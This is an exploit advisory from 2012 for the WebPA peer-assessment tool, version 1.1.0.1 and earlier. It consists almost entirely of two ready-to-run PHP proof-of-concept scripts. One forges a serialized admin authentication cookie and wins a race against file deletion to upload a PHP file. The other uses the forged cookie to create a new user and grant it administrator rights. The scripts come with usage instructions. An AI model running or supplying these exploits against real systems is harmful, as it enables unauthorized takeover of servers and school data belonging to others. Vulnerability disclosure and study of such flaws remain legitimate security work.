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[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-08-23 ]
##################################################
# [ WebPA <= 1.1.0.1 ] Multiple Vulnerabilities #
##################################################
#
# Script: "WebPA is an open source online peer assessment tool that enables
# every team member to recognise individual contributions to group work."
#
# Vendor: http://www.webpaproject.com/
# Download: http://sourceforge.net/projects/webpa/files/webpa/
# Exploits were tested on:
# Windows (Apache 2.2.17 + php 5.2.17)
# Linux Centos (Apache 2.2.3 (CentOS) + php 5.2.17)
#
##################################################
# [ Arbitrary File Upload ]
# PoC exploit Code:
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die('Connection -> fail');
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
$ret="";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print "\n# WebPA v1.1.0.1 Arbitrary File Upload #\n";
print "# Discovered by dun \ posdub[at]gmail.com #\n\n";
if ($argc < 3) {
print "Usage: php $argv[0] <host> <path>\n";
print "Example: php $argv[0] localhost /WebPA/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$tmp = 'tmp/';
$temp_prefix='temp_';
$up_file='phpinfo.php';
$i=0;
// preparing cookie for authentication bypass
$cookie = base64_encode((time()*2).'|'.(time()*2).'|'.serialize(array('user_id'=> '1', 'admin'=> '1')));
// preparing POST data to perform the maximum delay before deleting temporary php file
$payload = "-----------------------------187161971819895\r\n";
$payload .= "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"%s\"\r\n";
$payload .= "Content-Type: text/plain\r\n\r\n";
$payload .= "<?php fwrite(fopen('%s','w'),'<?php phpinfo(); ?>'); ?>!".str_repeat("A",40)."\r\n";
// making max lag, before unlink
$payload .= str_repeat(str_repeat("A!",1)."!".str_repeat("A!",4)."\r\n",1000)."\r\n";
$payload .= "-----------------------------187161971819895\r\n";
$payload .= "Content-Disposition: form-data; name=\"rdoFileContentType\"\r\n\r\n";
$payload .= "2\r\n";
$payload .= "-----------------------------187161971819895\r\n";
$payload .= "Content-Disposition: form-data; name=\"rdoFileSeperator\"\r\n\r\n";
$payload .= "!\r\n";
$payload .= "-----------------------------187161971819895--\r\n";
$headers = "POST {$path}{$tmp}readfile.php HTTP/1.1\r\n";
$headers .= "Host: {$host}\r\n";
$headers .= "Connection: close\r\n";
$headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n";
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------187161971819895\r\n";
$headers .= "Content-Length: ".strlen($payload)."\r\n\r\n";
$headers .= sprintf($payload, $temp_prefix.$up_file, $up_file);
fclose(http_send($host, 80, $headers));
$headers = "GET {$path}{$tmp}%s HTTP/1.0\r\n";
$headers .= "Host: {$host}\r\n";
$headers .= "Connection: close\r\n\r\n";
while(++$i<1000) {
$res=http_recv(http_send($host, 80, sprintf($headers, $temp_prefix.$up_file)));
if(!preg_match('/404 Not Found/',$res)) {
$res=http_recv(http_send($host, 80, sprintf($headers, $up_file)));
if(preg_match('/200 OK/',$res))
print "Success!\n\nUploaded file: http://{$host}{$path}{$tmp}{$up_file}\n";
break;
}
}
if($i==1000) print "Failed.\n";
?>
#
##################################################
# [ Arbitrary Add Admin ]
# PoC exploit Code:
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die('Connection -> fail');
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
$ret="";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print "\n# WebPA v1.1.0.1 Arbitrary Add Admin Exploit #\n";
print "# Discovered by dun \ posdub[at]gmail.com #\n\n";
if ($argc < 5) {
print "Usage: php $argv[0] <host> <path> username password\n";
print "Example: php $argv[0] localhost /WebPA/ foo bar\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$newuser = $argv[3];
$newpass = $argv[4];
$cookie = base64_encode((time()*2).'|'.(time()*2).'|'.serialize(array( 'user_id'=> '1', 'admin'=> '1' )));
print "Adding a new user [ {$newuser} : {$newpass} ]\n";
$payload = "-----------------------------187161971819895\r\n";
$payload .= "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"user.csv\"\r\n";
$payload .= "Content-Type: text/csv\r\n\r\n";
$payload .= "institutional_reference,forename,lastname,email,username,module_code,department_id,course_id,password\r\n";
$payload .= "1,2,3,4,{$newuser},6,7,8,{$newpass}\r\n\r\n";
$payload .= "-----------------------------187161971819895\r\n";
$payload .= "Content-Disposition: form-data; name=\"rdoFileContentType\"\r\n\r\n";
$payload .= "2\r\n";
$payload .= "-----------------------------187161971819895--\r\n";
$headers = "POST {$path}admin/load/simple.php HTTP/1.1\r\n";
$headers .= "Host: {$host}\r\n";
$headers .= "Connection: close\r\n";
$headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n";
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------187161971819895\r\n";
$headers .= "Content-Length: ".strlen($payload)."\r\n\r\n";
$headers .= ($payload);
fclose(http_send($host, 80, $headers));
sleep(2);
print "Granting admin privileges for user [ {$newuser} ]\n";
$headers = "GET {$path}admin/review/staff/index.php HTTP/1.0\r\n";
$headers .= "Host: {$host}\r\n";
$headers .= "Connection: close\r\n";
$headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n\r\n";
preg_match_all('/php\?u=(\d+)/',http_recv(http_send($host, 80, $headers)) , $matches);
if(!is_numeric(max($matches[1]))) die('Failed.');
sleep(2);
$payload = "rdo_type=staff&name=1&surname=2&email=3&password={$newpass}&chk_admin=on&save=".urlencode('Save Changes');
$headers = "POST {$path}admin/edit/index.php?u=".max($matches[1])." HTTP/1.0\r\n";
$headers .= "Host: {$host}\r\n";
$headers .= "Connection: close\r\n";
$headers .= "Cookie: AUTH_COOKIE={$cookie}\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($payload)."\r\n\r\n";
$headers .= ($payload);
fclose(http_send($host, 80, $headers));
print "Success!\n\n";
print "http://{$host}{$path}login.php\n";
print "user: {$newuser}\n";
print "pass: {$newpass}\n";
?>
#
### [ dun / 2012 ] ###############################
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